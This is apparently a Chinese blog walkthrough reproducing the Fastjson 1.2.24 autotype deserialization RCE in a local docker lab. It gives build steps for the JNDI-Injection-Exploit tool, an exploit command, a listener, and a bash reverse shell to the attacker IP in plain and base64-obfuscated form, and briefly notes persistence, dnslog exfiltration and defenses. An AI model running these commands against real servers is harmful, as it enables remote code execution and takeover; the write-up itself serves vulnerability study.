Fastjson 漏洞复现1.2.24-rce

1.原理

fastjson是阿里巴巴开源的一个json解析库,能将json对象和json字符串进行序列化和反序列化操作。autotype功能是是漏洞的关键,autotype允许用户通过@type字段来选择具体的类进行反序列化。如果用户没有对反序列化的类进行严格限制,攻击者可以构造恶意的json字符串来触发这个漏洞

2.实验准备

攻击机kali ip:192.168.3.183

靶机ubuntu ip:192.168.3.163

1.Bp抓包会用到的插件

​​​​​​Releases · Maskhe/FastjsonScan (github.com)

2.fastjson工具

我是直接下载到靶机里,这个工具跟log4j2用的工具是一样的,如果你看过我的log4j2文章,你可以直接把这个工具复制到fastjson文件里应用

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

cd JNDI-Injection-Exploit

apt install maven

mvn clean package -DskipTests

最后下载完长这样,这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar就是我们要用到

3.漏洞复现

1.启动靶场,查看开放端口

docker-compose up -d

docker ps

访问http://your-ip:8090

2.漏洞检测

bp抓包,右键找到框中的位置点击转成post类型

3.漏洞验证

执行如下命令,如果最后执行成功,会在 /tmp 目录下创建一个名为 xiaocai 的空文件

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xiaocai" -A "192.168.3.163"

你去文件夹里找会发现/tmp 目录下没有名为 xiaocai 的空文件,那是因为你打开的方式不对,我们可以执行

docker exec -it bbba060c8561 /bin/bash

即 docker exec -it 容器ID /bin/bash

4.漏洞利用

攻击机打开监听端口

nv -lvvp 9999

构建反弹shell

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

bash -i >& /dev/tcp/192.168.3.183/9999 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

4.维持权限,创建后门等

5.流量特征

有@type字样

6.防御方式

升级版本,禁用autotype功能,输入验证等

7.fastjson反序列化漏洞无回显


1.一种是直接将命令执行结果写到静态资源文件里面,如html,js等,然后可以通过http访问看到结果
2.通过dnslog外带
3.直接将命令结果回显到请求POC的http响应中

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值